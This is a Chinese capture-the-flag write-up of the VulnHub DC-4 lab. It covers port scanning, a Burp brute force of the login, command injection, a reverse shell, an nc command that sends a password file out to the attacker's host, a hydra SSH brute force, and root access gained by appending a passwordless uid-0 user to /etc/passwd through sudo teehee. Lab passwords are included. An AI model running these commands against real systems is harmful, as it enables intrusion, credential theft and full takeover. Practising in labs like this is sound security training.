DC-4靶场实战

前言


  这次的靶机是vulnhub下的DC-4,下载地址为DC: 4 ~ VulnHub,老样子,下载解压后用VMware打开,设置网络适配器为nat模式

一.准备工作

  输入命令用来探测靶机的ip地址

arp-scan -l

可知靶机的ip地址是192.168.188.138

输入命令

 nmap -A -sV -p- --min-parallelism 100 192.168.188.138

可知靶机开放了22端口和80端口

输入ip地址到浏览器上,弹出了一个登陆页面

暂时还没有其他思路,可以先爆破看看网站有没有其他页面

输入命令

dirsearch -u 192.168.188.138

  发现了一个值得关注的页面,command.php,这里面可能存在一些配置命令,但是输入这个页面地址会直接跳转到index.php页面

没有头绪,试试看能否通过暴力破解来破解出用户名和密码,打开burpsuite

二.Bp暴力破解

打开bp,进入代理,开启拦截请求,并且在选项里面添加一个拦截命令,设置端口号为8080,绑定地址为所有接口,一定要勾选启动中

打开kali上的火狐浏览器,在setting里面搜索proxy,设置代理

注意:ip地址为物理机上的ip地址

这样物理机上的bp就能拦截kali上的请求了

随便在网站页面输入用户名和密码,可以看到bp成功拦截到了请求包

点击鼠标右键,点击发送给Intruder

然后依次点击测试器->位置->清除$,然后将鼠标对准到password=123456末尾,点击添加$,

可以发现两边多了$符号,说明在之后的破解中,这个字符串,会被字典中的字符所代替

这里的字典选择kali自带的john 所用的字典,关于john的使用可以参考我前面的博客

所用的字典路径是/usr/share/john/password.lst,将字典里的内容保存下来,存放为password.txt

然后依次点击,将复制好的字典文件上传上去

配置好后,点击开始攻击

攻击完成后,点击按长度排序,得到最长的一个就是破解出的密码了

三.登录网站后台

  已经得到了网站的用户名和密码,登录进去,点击command

   随意点击命令可以看到每次显示的页面都不一样,猜测这是一个命令注入,并且是可以通过参数进行控制的

继续使用bp进行抓包,然后对其改包。

可以发现,将其改成id后,可以成功弹出当前的用户

四.建立shell

   先在本地新建一个监听端口

然后通过bp将包改成如下图所示,注意:ip地址为kali的本地ip地址

可以看到已经成功连接了

升级成一个交互式的shell

python -c'import pty;pty.spawn("/bin/bash")'

五.提权

  现在已经成功建立shell了,下一步就是提权,也就是成为root用户,提取flag,先试下suid提权

输入命令

find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null

发现并没有什么可以提权的文件,去家目录看看有没有什么敏感文件

在jim用户下找到了一个mbox和old-passwords.bak,但是发现没有权限打开mbox,先将old-passwords.bak下载到本地

   通过nc把old-passwords.bak下载下来,准备用于ssh的暴力破解。首先在本地用nc监听一个端口 4445,并把监听到的数据写入pass.txt

然后在靶机中用nc将old-passwords.bak上传到本地主机

输入命令

nc 192.168.188.128 4445 < old-passwords.bak

发现已经上传成功,此时采用hydra进行爆破,用户名在家目录已经知道了,分别是charles,jim,sam,将其保存为user.txt

输入命令

hydra -L user.txt -P pass.txt ssh://192.168.188.138 -t 64 -o result.txt

-L 指定用户名文件

-P 执行密码字典文件

ssh:// 代表使用ssh协议

-t 代表线程数,最高为64线程。

-o 代表将破解结果输出到指定文件内。

hydra更详细的用法可以参考:https://blog.csdn.net/qq_17204441/article/details/90436483

攻击完成后,打开result.txt,发现用户名jim和其对应的密码jibril04

使用jim进行ssh登录

使用sudo -l进行提权看看,发现不行

老样子去找找看有没有什么敏感文件

没有什么特别的文件

经过一番寻找,终于在/var/mail里面发现了一个特别的邮件,邮件是charles发给jim的,并且还给了charles的密码^xHhA&hvim0y

切换到charles用户

发现charles可以执行sudo -l命令,可以以root用户运行teehee

在文心一言上搜索了下teehee的用法

首先我们来了解/etc/passwd的格式,以root为例

root:x:0:0:root:/root:/bin/bash

字段1: 用户名。

字段2:密码占位符,x代表有密码。

字段3:用户的uid,如果一个用户uid为0则表示该用户超级管理员。

字段4:用户的gid,也就是所属用户组的id。

字段5:用户信息(弃用)。

字段6:用户家目录。

字段7:用户登陆系统后使用的shell。

因此我们可以输入命令

echo "tp1679::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

将tp1679这个用户追加到/etc/passwd后面,使其具有root权限

发现,当切换到tp1679时,所显示的就是root权限了,终于可以得到最终的flag了

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值